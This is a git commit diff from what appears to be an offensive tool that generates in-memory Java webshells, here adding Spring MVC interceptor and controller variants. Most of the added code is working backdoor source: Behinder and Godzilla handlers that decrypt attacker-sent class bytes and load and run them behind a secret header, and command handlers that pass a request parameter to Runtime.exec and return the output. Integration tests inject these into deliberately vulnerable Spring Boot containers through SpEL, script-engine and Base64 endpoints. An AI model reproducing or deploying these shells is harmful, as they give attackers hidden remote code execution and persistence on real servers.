feat: support springmvc shell generate

This commit is contained in:
ReaJason
2024-12-22 16:29:02 +08:00
parent 91181ffc55
commit 77e5371fa8
50 changed files with 1546 additions and 181 deletions
+1 -1
View File
@@ -31,7 +31,7 @@ jobs:
strategy:
fail-fast: false
matrix:
middleware: [ "tomcat", "jetty", "jbossas", "jbosseap", "wildfly", "glassfish", "resin", "payara", "websphere" ]
middleware: [ "tomcat", "jetty", "jbossas", "jbosseap", "wildfly", "glassfish", "resin", "payara", "websphere", "springmvc" ]
runs-on: ubuntu-latest
name: ${{ matrix.middleware }}
needs: [ unit-test ]
@@ -63,7 +63,7 @@ public class BehinderManager {
}
String resText = new String(decrypt(resData));
if (StringUtils.isBlank(resText)) {
throw new RuntimeException(new String((byte[]) resultObj.get("data")));
throw new RuntimeException("decrypt text is empty, the raw data is " + new String((byte[]) resultObj.get("data")) + " and the status code is " + resultObj.get("status"));
}
JSONObject jsonObject = JSON.parseObject(resText);
String msg = new String(Base64.decodeBase64(jsonObject.getString("msg")));
@@ -32,7 +32,10 @@ public class Test {
result.put("status", "success");
} finally {
try {
Object so = this.Response.getClass().getMethod("getOutputStream").invoke(this.Response);
// org.springframework.boot.web.servlet.support.ErrorPageFilter$ErrorWrapperResponse is private
Method getOutputStreamMethod = this.Response.getClass().getDeclaredMethod("getOutputStream");
getOutputStreamMethod.setAccessible(true);
Object so = getOutputStreamMethod.invoke(this.Response);
Method write = so.getClass().getMethod("write", byte[].class);
String jsonStr = this.buildJson(result, true);
write.invoke(so, this.Encrypt(jsonStr.getBytes("UTF-8")));
@@ -11,9 +11,9 @@ class BehinderManagerTest {
@Test
void test() {
BehinderManager behinderManager = BehinderManager.builder()
.entrypoint("http://localhost:8080/app/test")
.pass("test123")
.header("User-Agent", "testValve").build();
.entrypoint("http://localhost:8080/test")
.pass("pass")
.header("User-Agent", "BehinderinterceptorBase64").build();
behinderManager.test();
}
}
@@ -1,33 +0,0 @@
package com.reajason.javaweb.buddy;
import lombok.SneakyThrows;
import org.junit.jupiter.api.Test;
import org.junit.jupiter.api.condition.EnabledOnJre;
import java.lang.reflect.InaccessibleObjectException;
import java.lang.reflect.Method;
import static org.junit.jupiter.api.Assertions.assertDoesNotThrow;
import static org.junit.jupiter.api.Assertions.assertThrows;
import static org.junit.jupiter.api.condition.JRE.JAVA_17;
/**
* @author ReaJason
* @since 2024/12/7
*/
class ByPassJavaModuleInterceptorTest {
@Test
@SneakyThrows
@EnabledOnJre(JAVA_17)
void testByPassModule() {
Method defineClass = ClassLoader.class.getDeclaredMethod("defineClass", byte[].class, int.class, int.class);
assertThrows(InaccessibleObjectException.class, () -> {
defineClass.setAccessible(true);
});
ByPassJavaModuleInterceptor.enter(this.getClass());
assertDoesNotThrow(() -> {
defineClass.setAccessible(true);
});
}
}
@@ -1,119 +0,0 @@
package com.reajason.javaweb.buddy;
import lombok.extern.slf4j.Slf4j;
import net.bytebuddy.ByteBuddy;
import net.bytebuddy.asm.AsmVisitorWrapper;
import net.bytebuddy.description.method.MethodDescription;
import net.bytebuddy.description.type.TypeDescription;
import net.bytebuddy.dynamic.DynamicType;
import net.bytebuddy.implementation.Implementation;
import net.bytebuddy.jar.asm.MethodVisitor;
import net.bytebuddy.jar.asm.Opcodes;
import net.bytebuddy.matcher.ElementMatchers;
import net.bytebuddy.pool.TypePool;
import org.junit.jupiter.api.Test;
import java.util.logging.Logger;
import static org.junit.jupiter.api.Assertions.assertNotEquals;
import static org.junit.jupiter.api.Assertions.assertNotNull;
import static org.mockito.Mockito.*;
/**
* @author ReaJason
* @since 2024/12/4
*/
@Slf4j
class LogRemoveVisitorWrapperTest {
@Test
void testExtend() {
DynamicType.Builder<?> builder = new ByteBuddy().subclass(Object.class);
DynamicType.Builder<?> extendedBuilder = LogRemoveMethodVisitor.extend(builder);
assertNotNull(extendedBuilder);
assertNotEquals(builder, extendedBuilder);
}
@Test
void testWrap() {
LogRemoveMethodVisitor visitor = LogRemoveMethodVisitor.INSTANCE;
TypeDescription instrumentedType = mock(TypeDescription.class);
MethodDescription instrumentedMethod = mock(MethodDescription.class);
MethodVisitor methodVisitor = mock(MethodVisitor.class);
Implementation.Context implementationContext = mock(Implementation.Context.class);
TypePool typePool = mock(TypePool.class);
MethodVisitor wrappedVisitor = visitor.wrap(instrumentedType, instrumentedMethod, methodVisitor,
implementationContext, typePool, 0, 0);
assertNotNull(wrappedVisitor);
assertNotEquals(methodVisitor, wrappedVisitor);
}
@Test
void testVisitMethodInsn_RemoveSystemOutPrintln() {
MethodVisitor methodVisitor = mock(MethodVisitor.class);
LogRemoveMethodVisitor.INSTANCE.wrap(null, null, methodVisitor, null, null, 0, 0)
.visitMethodInsn(Opcodes.INVOKEVIRTUAL, "java/io/PrintStream", "println", "(Ljava/lang/String;)V", false);
verify(methodVisitor, never()).visitMethodInsn(anyInt(), anyString(), anyString(), anyString(), anyBoolean());
}
@Test
void testVisitMethodInsn_RemovePrintStackTrace() {
MethodVisitor methodVisitor = mock(MethodVisitor.class);
LogRemoveMethodVisitor.INSTANCE.wrap(null, null, methodVisitor, null, null, 0, 0)
.visitMethodInsn(Opcodes.INVOKEVIRTUAL, "java/lang/Exception", "printStackTrace", "()V", false);
verify(methodVisitor, never()).visitMethodInsn(anyInt(), anyString(), anyString(), anyString(), anyBoolean());
}
@Test
void testVisitMethodInsn_KeepOtherMethodCalls() {
MethodVisitor methodVisitor = mock(MethodVisitor.class);
MethodVisitor wrappedVisitor = LogRemoveMethodVisitor.INSTANCE.wrap(null, null, methodVisitor, null, null, 0, 0);
wrappedVisitor.visitMethodInsn(Opcodes.INVOKEVIRTUAL, "java/lang/String", "length", "()I", false);
verify(methodVisitor).visitMethodInsn(Opcodes.INVOKEVIRTUAL, "java/lang/String", "length", "()I", false);
}
@Test
void testIntegration() throws Exception {
// Use ByteBuddy to create a new class with log statements removed
DynamicType.Unloaded<TestClass> make = new ByteBuddy()
.redefine(TestClass.class)
.name("com.reajason.javaweb.buddy.TestClass1")
.visit(new AsmVisitorWrapper.ForDeclaredMethods()
.method(ElementMatchers.any(), LogRemoveMethodVisitor.INSTANCE))
.make();
byte[] bytes = make.getBytes();
// Files.write(Paths.get("xx.class"), bytes);
Class<?> modifiedClass = make.load(getClass().getClassLoader()).getLoaded();
Object instance = modifiedClass.getDeclaredConstructor().newInstance();
modifiedClass.getMethod("methodWithLogs").invoke(instance);
}
public static class TestClass {
static Logger logger = Logger.getLogger(TestClass.class.getName());
public TestClass() {
}
public static void methodWithLogs() {
System.out.println("This should be removed");
String test = "test";
int length = test.length();
logger.info(test);
try {
System.out.println("hello");
throw new RuntimeException("hello");
} catch (Exception e) {
e.printStackTrace();
}
logger.warning("wa");
}
public static void main(String[] args) {
methodWithLogs();
}
}
}
File diff suppressed because one or more lines are too long
@@ -0,0 +1,61 @@
package com.reajason.javaweb.memshell;
import com.reajason.javaweb.memshell.config.ShellTool;
import com.reajason.javaweb.memshell.springmvc.behinder.BehinderControllerHandler;
import com.reajason.javaweb.memshell.springmvc.behinder.BehinderInterceptor;
import com.reajason.javaweb.memshell.springmvc.command.CommandControllerHandler;
import com.reajason.javaweb.memshell.springmvc.command.CommandInterceptor;
import com.reajason.javaweb.memshell.springmvc.godzilla.GodzillaControllerHandler;
import com.reajason.javaweb.memshell.springmvc.godzilla.GodzillaInterceptor;
import com.reajason.javaweb.memshell.springmvc.injector.SpringControllerHandlerInterceptor;
import com.reajason.javaweb.memshell.springmvc.injector.SpringInterceptorInjector;
import org.apache.commons.lang3.tuple.Pair;
import java.util.List;
import java.util.Map;
/**
* @author ReaJason
* @since 2024/12/22
*/
public class SpringMVCShell extends AbstractShell {
public static final String INTERCEPTOR = "Interceptor";
public static final String JAKARTA_INTERCEPTOR = "JakartaInterceptor";
public static final String CONTROLLER_HANDLER = "ControllerHandler";
public static final String JAKARTA_CONTROLLER_HANDLER = "JakartaControllerHandler";
@Override
public List<ShellTool> getSupportedShellTools() {
return List.of(ShellTool.Command, ShellTool.Godzilla, ShellTool.Behinder);
}
@Override
protected Map<String, Pair<Class<?>, Class<?>>> getBehinderShellMap() {
return Map.of(
INTERCEPTOR, Pair.of(BehinderInterceptor.class, SpringInterceptorInjector.class),
JAKARTA_INTERCEPTOR, Pair.of(BehinderInterceptor.class, SpringInterceptorInjector.class),
CONTROLLER_HANDLER, Pair.of(BehinderControllerHandler.class, SpringControllerHandlerInterceptor.class),
JAKARTA_CONTROLLER_HANDLER, Pair.of(BehinderControllerHandler.class, SpringControllerHandlerInterceptor.class)
);
}
@Override
protected Map<String, Pair<Class<?>, Class<?>>> getCommandShellMap() {
return Map.of(
INTERCEPTOR, Pair.of(CommandInterceptor.class, SpringInterceptorInjector.class),
JAKARTA_INTERCEPTOR, Pair.of(CommandInterceptor.class, SpringInterceptorInjector.class),
CONTROLLER_HANDLER, Pair.of(CommandControllerHandler.class, SpringControllerHandlerInterceptor.class),
JAKARTA_CONTROLLER_HANDLER, Pair.of(CommandControllerHandler.class, SpringControllerHandlerInterceptor.class)
);
}
@Override
protected Map<String, Pair<Class<?>, Class<?>>> getGodzillaShellMap() {
return Map.of(
INTERCEPTOR, Pair.of(GodzillaInterceptor.class, SpringInterceptorInjector.class),
JAKARTA_INTERCEPTOR, Pair.of(GodzillaInterceptor.class, SpringInterceptorInjector.class),
CONTROLLER_HANDLER, Pair.of(GodzillaControllerHandler.class, SpringControllerHandlerInterceptor.class),
JAKARTA_CONTROLLER_HANDLER, Pair.of(GodzillaControllerHandler.class, SpringControllerHandlerInterceptor.class)
);
}
}
@@ -33,7 +33,7 @@ public enum Server {
/**
* SpringMVC 框架
*/
SpringMVC(null),
SpringMVC(new SpringMVCShell()),
/**
* Spring Webflux 框架
@@ -12,4 +12,4 @@ public class Base64Packer implements Packer {
public String pack(GenerateResult generateResult) {
return Base64.encodeBase64String(generateResult.getInjectorBytes());
}
}
}
+7 -1
View File
@@ -52,7 +52,13 @@ idea {
}
test {
dependsOn ":vul:vul-webapp:war", ":vul:vul-webapp-expression:war", ":vul:vul-webapp-jakarta:war"
dependsOn {
":vul:vul-webapp:war"
":vul:vul-webapp-expression:war"
":vul:vul-webapp-jakarta:war"
":vul:vul-springboot2:bootJar"
":vul:vul-springboot3:bootJar"
}
useJUnitPlatform()
finalizedBy jacocoTestReport
}
@@ -4,6 +4,7 @@ import lombok.extern.slf4j.Slf4j;
import org.testcontainers.containers.GenericContainer;
import org.testcontainers.utility.MountableFile;
import java.nio.file.Path;
import java.nio.file.Paths;
/**
@@ -15,7 +16,8 @@ public class ContainerTool {
public static final MountableFile warJakartaFile = MountableFile.forHostPath(Paths.get("../vul/vul-webapp-jakarta/build/libs/vul-webapp-jakarta.war").toAbsolutePath());
public static final MountableFile warExpressionFile = MountableFile.forHostPath(Paths.get("../vul/vul-webapp-expression/build/libs/vul-webapp-expression.war").toAbsolutePath());
public static final MountableFile warFile = MountableFile.forHostPath(Paths.get("../vul/vul-webapp/build/libs/vul-webapp.war").toAbsolutePath());
public static final Path springBoot2Dockerfile = Paths.get("../vul/vul-springboot2/Dockerfile").toAbsolutePath();
public static final Path springBoot3Dockerfile = Paths.get("../vul/vul-springboot3/Dockerfile").toAbsolutePath();
public static String getUrl(GenericContainer<?> container) {
String host = container.getHost();
@@ -1,6 +1,7 @@
package com.reajason.javaweb.integration;
import com.reajason.javaweb.GeneratorMain;
import com.reajason.javaweb.memshell.SpringMVCShell;
import com.reajason.javaweb.memshell.config.*;
import com.reajason.javaweb.memshell.packer.Packer;
import lombok.extern.slf4j.Slf4j;
@@ -15,7 +16,7 @@ public class ShellAssertionTool {
String shellUrl = url + "/test";
InjectorConfig injectorConfig = new InjectorConfig();
if (shellType.endsWith(Constants.SERVLET)) {
if (shellType.endsWith(Constants.SERVLET) || shellType.endsWith(SpringMVCShell.CONTROLLER_HANDLER)) {
String urlPattern = "/" + shellTool + shellType + packer.name();
shellUrl = url + urlPattern;
injectorConfig.setUrlPattern(urlPattern);
@@ -56,7 +57,7 @@ public class ShellAssertionTool {
String behinderPass = "pass";
String behinderHeaderValue = "Behinder" + shellType + packer.name();
BehinderConfig behinderConfig = BehinderConfig.builder().pass(behinderPass).headerName("User-Agent").headerValue(behinderHeaderValue).build();
log.info("generated {} godzilla with pass: {}, headerValue: {}", shellType, behinderPass, behinderHeaderValue);
log.info("generated {} behinder with pass: {}, headerValue: {}", shellType, behinderPass, behinderHeaderValue);
String behinderContent = GeneratorMain.generate(shellConfig, injectorConfig, behinderConfig, packer);
assertInjectIsOk(url, shellType, shellTool, behinderContent, packer);
BehinderShellTool.testIsOk(shellUrl, behinderConfig);
@@ -64,6 +65,7 @@ public class ShellAssertionTool {
}
public static void assertInjectIsOk(String url, String shellType, ShellTool shellTool, String content, Packer.INSTANCE packer) {
System.out.println(content);
switch (packer) {
case JSP -> {
String uploadEntry = url + "/upload";
@@ -79,6 +81,7 @@ public class ShellAssertionTool {
case Freemarker -> VulTool.postData(url + "/freemarker", content);
case Velocity -> VulTool.postData(url + "/velocity", content);
case Deserialize -> VulTool.postData(url + "/java_deserialize", content);
case Base64 -> VulTool.postData(url + "/b64", content);
}
}
}
@@ -50,7 +50,7 @@ public class VulTool {
.url(uploadUrl).post(requestBody)
.build();
try (Response response = new OkHttpClient().newCall(request).execute()) {
// log.info(response.body().string());
System.out.println(response.body().string());
Assertions.assertNotEquals(404, response.code());
}
}
@@ -0,0 +1,84 @@
package com.reajason.javaweb.integration.springmvc;
import com.reajason.javaweb.memshell.SpringMVCShell;
import com.reajason.javaweb.memshell.config.Server;
import com.reajason.javaweb.memshell.config.ShellTool;
import com.reajason.javaweb.memshell.packer.Packer;
import lombok.extern.slf4j.Slf4j;
import net.bytebuddy.jar.asm.Opcodes;
import org.junit.jupiter.api.AfterAll;
import org.junit.jupiter.params.ParameterizedTest;
import org.junit.jupiter.params.provider.Arguments;
import org.junit.jupiter.params.provider.MethodSource;
import org.testcontainers.containers.GenericContainer;
import org.testcontainers.containers.wait.strategy.Wait;
import org.testcontainers.images.builder.ImageFromDockerfile;
import org.testcontainers.junit.jupiter.Container;
import org.testcontainers.junit.jupiter.Testcontainers;
import java.util.stream.Stream;
import static com.reajason.javaweb.integration.ContainerTool.springBoot2Dockerfile;
import static com.reajason.javaweb.integration.DoesNotContainExceptionMatcher.doesNotContainException;
import static com.reajason.javaweb.integration.ShellAssertionTool.testShellInjectAssertOk;
import static org.hamcrest.MatcherAssert.assertThat;
import static org.junit.jupiter.params.provider.Arguments.arguments;
/**
* @author ReaJason
* @since 2024/12/22
*/
@Testcontainers
@Slf4j
public class SpringBoot2ContainerTest {
public static final String imageName = "springboot2";
@Container
public final static GenericContainer<?> container = new GenericContainer<>(new ImageFromDockerfile()
.withDockerfile(springBoot2Dockerfile))
.waitingFor(Wait.forHttp("/test"))
.withExposedPorts(8080);
static Stream<Arguments> casesProvider() {
return Stream.of(
arguments(imageName, SpringMVCShell.INTERCEPTOR, ShellTool.Behinder, Packer.INSTANCE.ScriptEngine),
arguments(imageName, SpringMVCShell.INTERCEPTOR, ShellTool.Behinder, Packer.INSTANCE.SpEL),
arguments(imageName, SpringMVCShell.INTERCEPTOR, ShellTool.Behinder, Packer.INSTANCE.Base64),
arguments(imageName, SpringMVCShell.INTERCEPTOR, ShellTool.Godzilla, Packer.INSTANCE.ScriptEngine),
arguments(imageName, SpringMVCShell.INTERCEPTOR, ShellTool.Godzilla, Packer.INSTANCE.SpEL),
arguments(imageName, SpringMVCShell.INTERCEPTOR, ShellTool.Godzilla, Packer.INSTANCE.Base64),
arguments(imageName, SpringMVCShell.INTERCEPTOR, ShellTool.Command, Packer.INSTANCE.ScriptEngine),
arguments(imageName, SpringMVCShell.INTERCEPTOR, ShellTool.Command, Packer.INSTANCE.SpEL),
arguments(imageName, SpringMVCShell.INTERCEPTOR, ShellTool.Command, Packer.INSTANCE.Base64),
arguments(imageName, SpringMVCShell.CONTROLLER_HANDLER, ShellTool.Behinder, Packer.INSTANCE.ScriptEngine),
arguments(imageName, SpringMVCShell.CONTROLLER_HANDLER, ShellTool.Behinder, Packer.INSTANCE.SpEL),
arguments(imageName, SpringMVCShell.CONTROLLER_HANDLER, ShellTool.Behinder, Packer.INSTANCE.Base64),
arguments(imageName, SpringMVCShell.CONTROLLER_HANDLER, ShellTool.Godzilla, Packer.INSTANCE.ScriptEngine),
arguments(imageName, SpringMVCShell.CONTROLLER_HANDLER, ShellTool.Godzilla, Packer.INSTANCE.SpEL),
arguments(imageName, SpringMVCShell.CONTROLLER_HANDLER, ShellTool.Godzilla, Packer.INSTANCE.Base64),
arguments(imageName, SpringMVCShell.CONTROLLER_HANDLER, ShellTool.Command, Packer.INSTANCE.ScriptEngine),
arguments(imageName, SpringMVCShell.CONTROLLER_HANDLER, ShellTool.Command, Packer.INSTANCE.SpEL),
arguments(imageName, SpringMVCShell.CONTROLLER_HANDLER, ShellTool.Command, Packer.INSTANCE.Base64)
);
}
@AfterAll
static void tearDown() {
String logs = container.getLogs();
assertThat("Logs should not contain any exceptions", logs, doesNotContainException());
}
@ParameterizedTest(name = "{0}|{1}{2}|{3}")
@MethodSource("casesProvider")
void test(String imageName, String shellType, ShellTool shellTool, Packer.INSTANCE packer) {
testShellInjectAssertOk(getUrl(container), Server.SpringMVC, shellType, shellTool, Opcodes.V1_6, packer);
}
public static String getUrl(GenericContainer<?> container) {
String host = container.getHost();
int port = container.getMappedPort(8080);
String url = "http://" + host + ":" + port;
log.info("container started, app url is : {}", url);
return url;
}
}
@@ -0,0 +1,72 @@
package com.reajason.javaweb.integration.springmvc;
import com.reajason.javaweb.memshell.SpringMVCShell;
import com.reajason.javaweb.memshell.config.Server;
import com.reajason.javaweb.memshell.config.ShellTool;
import com.reajason.javaweb.memshell.packer.Packer;
import lombok.extern.slf4j.Slf4j;
import net.bytebuddy.jar.asm.Opcodes;
import org.junit.jupiter.api.AfterAll;
import org.junit.jupiter.params.ParameterizedTest;
import org.junit.jupiter.params.provider.Arguments;
import org.junit.jupiter.params.provider.MethodSource;
import org.testcontainers.containers.GenericContainer;
import org.testcontainers.containers.wait.strategy.Wait;
import org.testcontainers.images.builder.ImageFromDockerfile;
import org.testcontainers.junit.jupiter.Container;
import org.testcontainers.junit.jupiter.Testcontainers;
import java.util.stream.Stream;
import static com.reajason.javaweb.integration.ContainerTool.springBoot3Dockerfile;
import static com.reajason.javaweb.integration.DoesNotContainExceptionMatcher.doesNotContainException;
import static com.reajason.javaweb.integration.ShellAssertionTool.testShellInjectAssertOk;
import static org.hamcrest.MatcherAssert.assertThat;
import static org.junit.jupiter.params.provider.Arguments.arguments;
/**
* @author ReaJason
* @since 2024/12/22
*/
@Testcontainers
@Slf4j
public class SpringBoot3ContainerTest {
public static final String imageName = "springboot3";
@Container
public final static GenericContainer<?> container = new GenericContainer<>(new ImageFromDockerfile()
.withDockerfile(springBoot3Dockerfile))
.waitingFor(Wait.forHttp("/test"))
.withExposedPorts(8080);
static Stream<Arguments> casesProvider() {
return Stream.of(
arguments(imageName, SpringMVCShell.JAKARTA_INTERCEPTOR, ShellTool.Behinder, Packer.INSTANCE.Base64),
arguments(imageName, SpringMVCShell.JAKARTA_INTERCEPTOR, ShellTool.Godzilla, Packer.INSTANCE.Base64),
arguments(imageName, SpringMVCShell.JAKARTA_INTERCEPTOR, ShellTool.Command, Packer.INSTANCE.Base64),
arguments(imageName, SpringMVCShell.JAKARTA_CONTROLLER_HANDLER, ShellTool.Behinder, Packer.INSTANCE.Base64),
arguments(imageName, SpringMVCShell.JAKARTA_CONTROLLER_HANDLER, ShellTool.Godzilla, Packer.INSTANCE.Base64),
arguments(imageName, SpringMVCShell.JAKARTA_CONTROLLER_HANDLER, ShellTool.Command, Packer.INSTANCE.Base64)
);
}
@AfterAll
static void tearDown() {
String logs = container.getLogs();
assertThat("Logs should not contain any exceptions", logs, doesNotContainException());
}
@ParameterizedTest(name = "{0}|{1}{2}|{3}")
@MethodSource("casesProvider")
void test(String imageName, String shellType, ShellTool shellTool, Packer.INSTANCE packer) {
testShellInjectAssertOk(getUrl(container), Server.SpringMVC, shellType, shellTool, Opcodes.V17, packer);
}
public static String getUrl(GenericContainer<?> container) {
String host = container.getHost();
int port = container.getMappedPort(8080);
String url = "http://" + host + ":" + port;
log.info("container started, app url is : {}", url);
return url;
}
}
@@ -44,11 +44,7 @@ public class BehinderFilter extends ClassLoader implements Filter {
obj.put("request", servletRequest);
obj.put("response", response);
obj.put("session", session);
try {
session.putValue("u", this.pass);
} catch (NoSuchMethodError e) {
session.setAttribute("u", this.pass);
}
session.setAttribute("u", this.pass);
Cipher c = Cipher.getInstance("AES");
c.init(2, new SecretKeySpec(this.pass.getBytes(), "AES"));
byte[] bytes = c.doFinal(base64Decode(servletRequest.getReader().readLine()));
@@ -32,11 +32,7 @@ public class BehinderServlet extends ClassLoader implements Servlet {
obj.put("request", request);
obj.put("response", response);
obj.put("session", session);
try {
session.putValue("u", this.pass);
} catch (NoSuchMethodError e) {
session.setAttribute("u", this.pass);
}
session.setAttribute("u", this.pass);
Cipher c = Cipher.getInstance("AES");
c.init(2, new SecretKeySpec(this.pass.getBytes(), "AES"));
byte[] bytes = c.doFinal(base64Decode(req.getReader().readLine()));
@@ -84,11 +84,7 @@ public class BehinderValve extends ClassLoader implements Valve {
obj.put("request", request);
obj.put("response", response);
obj.put("session", session);
try {
session.putValue("u", this.pass);
} catch (NoSuchMethodError e) {
session.setAttribute("u", this.pass);
}
session.setAttribute("u", this.pass);
Cipher c = Cipher.getInstance("AES");
c.init(2, new SecretKeySpec(this.pass.getBytes(), "AES"));
byte[] bytes = c.doFinal(base64Decode(request.getReader().readLine()));
@@ -0,0 +1,75 @@
package com.reajason.javaweb.memshell.springmvc.behinder;
import org.springframework.web.servlet.ModelAndView;
import org.springframework.web.servlet.mvc.Controller;
import javax.crypto.Cipher;
import javax.crypto.spec.SecretKeySpec;
import javax.servlet.http.HttpServletRequest;
import javax.servlet.http.HttpServletResponse;
import javax.servlet.http.HttpSession;
import java.util.HashMap;
import java.util.Map;
/**
* @author ReaJason
* @since 2024/12/22
*/
public class BehinderControllerHandler extends ClassLoader implements Controller {
public String pass = "{{pass}}";
public String headerName = "{{headerName}}";
public String headerValue = "{{headerValue}}";
@SuppressWarnings("all")
public Class<?> g(byte[] b) {
return super.defineClass(b, 0, b.length);
}
public BehinderControllerHandler(ClassLoader c) {
super(c);
}
public BehinderControllerHandler() {
}
public ModelAndView handleRequest(HttpServletRequest request, HttpServletResponse response) throws Exception {
if (request.getHeader(headerName) != null && request.getHeader(headerName).contains(headerValue)) {
try {
HttpSession session = request.getSession();
Map<String, Object> obj = new HashMap<String, Object>(3);
obj.put("request", request);
obj.put("response", response);
obj.put("session", session);
session.setAttribute("u", this.pass);
Cipher c = Cipher.getInstance("AES");
c.init(2, new SecretKeySpec(this.pass.getBytes(), "AES"));
byte[] bytes = c.doFinal(base64Decode(request.getReader().readLine()));
Object instance = (new BehinderControllerHandler(this.getClass().getClassLoader())).g(bytes).newInstance();
instance.equals(obj);
} catch (Exception e) {
e.printStackTrace();
}
}
return null;
}
@SuppressWarnings("all")
public static byte[] base64Decode(String bs) {
byte[] value = null;
Class<?> base64;
try {
base64 = Class.forName("java.util.Base64");
Object decoder = base64.getMethod("getDecoder", (Class<?>[]) null).invoke(base64, (Object[]) null);
value = (byte[]) decoder.getClass().getMethod("decode", String.class).invoke(decoder, bs);
} catch (Exception var6) {
try {
base64 = Class.forName("sun.misc.BASE64Decoder");
Object decoder = base64.newInstance();
value = (byte[]) decoder.getClass().getMethod("decodeBuffer", String.class).invoke(decoder, bs);
} catch (Exception ignored) {
}
}
return value;
}
}
@@ -0,0 +1,76 @@
package com.reajason.javaweb.memshell.springmvc.behinder;
import org.springframework.web.servlet.AsyncHandlerInterceptor;
import javax.crypto.Cipher;
import javax.crypto.spec.SecretKeySpec;
import javax.servlet.http.HttpServletRequest;
import javax.servlet.http.HttpServletResponse;
import javax.servlet.http.HttpSession;
import java.util.HashMap;
import java.util.Map;
/**
* @author ReaJason
* @since 2024/12/22
*/
public class BehinderInterceptor extends ClassLoader implements AsyncHandlerInterceptor {
public String pass = "{{pass}}";
public String headerName = "{{headerName}}";
public String headerValue = "{{headerValue}}";
@SuppressWarnings("all")
public Class<?> g(byte[] b) {
return super.defineClass(b, 0, b.length);
}
public BehinderInterceptor(ClassLoader c) {
super(c);
}
public BehinderInterceptor() {
}
public boolean preHandle(HttpServletRequest request, HttpServletResponse response, Object handler) throws Exception {
if (request.getHeader(headerName) != null && request.getHeader(headerName).contains(headerValue)) {
try {
HttpSession session = request.getSession();
Map<String, Object> obj = new HashMap<String, Object>(3);
obj.put("request", request);
obj.put("response", response);
obj.put("session", session);
session.setAttribute("u", this.pass);
Cipher c = Cipher.getInstance("AES");
c.init(2, new SecretKeySpec(this.pass.getBytes(), "AES"));
byte[] bytes = c.doFinal(base64Decode(request.getReader().readLine()));
Object instance = (new BehinderInterceptor(this.getClass().getClassLoader())).g(bytes).newInstance();
instance.equals(obj);
} catch (Exception e) {
e.printStackTrace();
}
return false;
} else {
return true;
}
}
@SuppressWarnings("all")
public static byte[] base64Decode(String bs) {
byte[] value = null;
Class<?> base64;
try {
base64 = Class.forName("java.util.Base64");
Object decoder = base64.getMethod("getDecoder", (Class<?>[]) null).invoke(base64, (Object[]) null);
value = (byte[]) decoder.getClass().getMethod("decode", String.class).invoke(decoder, bs);
} catch (Exception var6) {
try {
base64 = Class.forName("sun.misc.BASE64Decoder");
Object decoder = base64.newInstance();
value = (byte[]) decoder.getClass().getMethod("decodeBuffer", String.class).invoke(decoder, bs);
} catch (Exception ignored) {
}
}
return value;
}
}
@@ -0,0 +1,40 @@
package com.reajason.javaweb.memshell.springmvc.command;
import org.springframework.web.servlet.ModelAndView;
import org.springframework.web.servlet.mvc.Controller;
import javax.servlet.ServletOutputStream;
import javax.servlet.http.HttpServletRequest;
import javax.servlet.http.HttpServletResponse;
import java.io.InputStream;
/**
* @author ReaJason
* @since 2024/12/22
*/
public class CommandControllerHandler implements Controller {
public String paramName = "{{paramName}}";
public CommandControllerHandler() {
}
public ModelAndView handleRequest(HttpServletRequest request, HttpServletResponse response) throws Exception {
try {
String cmd = request.getParameter(paramName);
if (cmd != null) {
Process exec = Runtime.getRuntime().exec(cmd);
InputStream inputStream = exec.getInputStream();
ServletOutputStream outputStream = response.getOutputStream();
byte[] buf = new byte[8192];
int length;
while ((length = inputStream.read(buf)) != -1) {
outputStream.write(buf, 0, length);
}
}
} catch (Exception e) {
e.printStackTrace();
}
return null;
}
}
@@ -0,0 +1,40 @@
package com.reajason.javaweb.memshell.springmvc.command;
import org.springframework.web.servlet.AsyncHandlerInterceptor;
import javax.servlet.ServletOutputStream;
import javax.servlet.http.HttpServletRequest;
import javax.servlet.http.HttpServletResponse;
import java.io.InputStream;
/**
* @author ReaJason
* @since 2024/12/22
*/
public class CommandInterceptor implements AsyncHandlerInterceptor {
public String paramName = "{{paramName}}";
public CommandInterceptor() {
}
public boolean preHandle(HttpServletRequest request, HttpServletResponse response, Object handler) throws Exception {
try {
String cmd = request.getParameter(paramName);
if (cmd != null) {
Process exec = Runtime.getRuntime().exec(cmd);
InputStream inputStream = exec.getInputStream();
ServletOutputStream outputStream = response.getOutputStream();
byte[] buf = new byte[8192];
int length;
while ((length = inputStream.read(buf)) != -1) {
outputStream.write(buf, 0, length);
}
return false;
}
} catch (Exception e) {
e.printStackTrace();
}
return true;
}
}
@@ -0,0 +1,112 @@
package com.reajason.javaweb.memshell.springmvc.godzilla;
import org.springframework.web.servlet.ModelAndView;
import org.springframework.web.servlet.mvc.Controller;
import javax.crypto.Cipher;
import javax.crypto.spec.SecretKeySpec;
import javax.servlet.http.HttpServletRequest;
import javax.servlet.http.HttpServletResponse;
import javax.servlet.http.HttpSession;
import java.io.ByteArrayOutputStream;
/**
* @author ReaJason
* @since 2024/12/22
*/
public class GodzillaControllerHandler extends ClassLoader implements Controller {
public String key = "{{key}}";
public String pass = "{{pass}}";
public String md5 = "{{md5}}";
public String headerName = "{{headerName}}";
public String headerValue = "{{headerValue}}";
public GodzillaControllerHandler() {
}
public GodzillaControllerHandler(ClassLoader parent) {
super(parent);
}
public ModelAndView handleRequest(HttpServletRequest request, HttpServletResponse response) throws Exception {
if (request.getHeader(headerName) != null && request.getHeader(headerName).contains(headerValue)) {
HttpSession session = request.getSession();
byte[] data = base64Decode(request.getParameter(pass));
data = this.x(data, false);
if (session.getAttribute("payload") == null) {
session.setAttribute("payload", (new GodzillaControllerHandler(this.getClass().getClassLoader())).Q(data));
} else {
request.setAttribute("parameters", data);
ByteArrayOutputStream arrOut = new ByteArrayOutputStream();
Object f;
try {
f = ((Class<?>) session.getAttribute("payload")).newInstance();
} catch (Exception e) {
throw new RuntimeException(e);
}
f.equals(arrOut);
f.equals(request);
response.getWriter().write(md5.substring(0, 16));
f.toString();
response.getWriter().write(base64Encode(this.x(arrOut.toByteArray(), true)));
response.getWriter().write(md5.substring(16));
}
}
return null;
}
@SuppressWarnings("all")
public static String base64Encode(byte[] bs) throws Exception {
String value = null;
Class<?> base64;
try {
base64 = Class.forName("java.util.Base64");
Object encoder = base64.getMethod("getEncoder", (Class<?>[]) null).invoke(base64, (Object[]) null);
value = (String) encoder.getClass().getMethod("encodeToString", byte[].class).invoke(encoder, bs);
} catch (Exception var6) {
try {
base64 = Class.forName("sun.misc.BASE64Encoder");
Object encoder = base64.newInstance();
value = (String) encoder.getClass().getMethod("encode", byte[].class).invoke(encoder, bs);
} catch (Exception ignored) {
}
}
return value;
}
@SuppressWarnings("all")
public static byte[] base64Decode(String bs) {
byte[] value = null;
Class<?> base64;
try {
base64 = Class.forName("java.util.Base64");
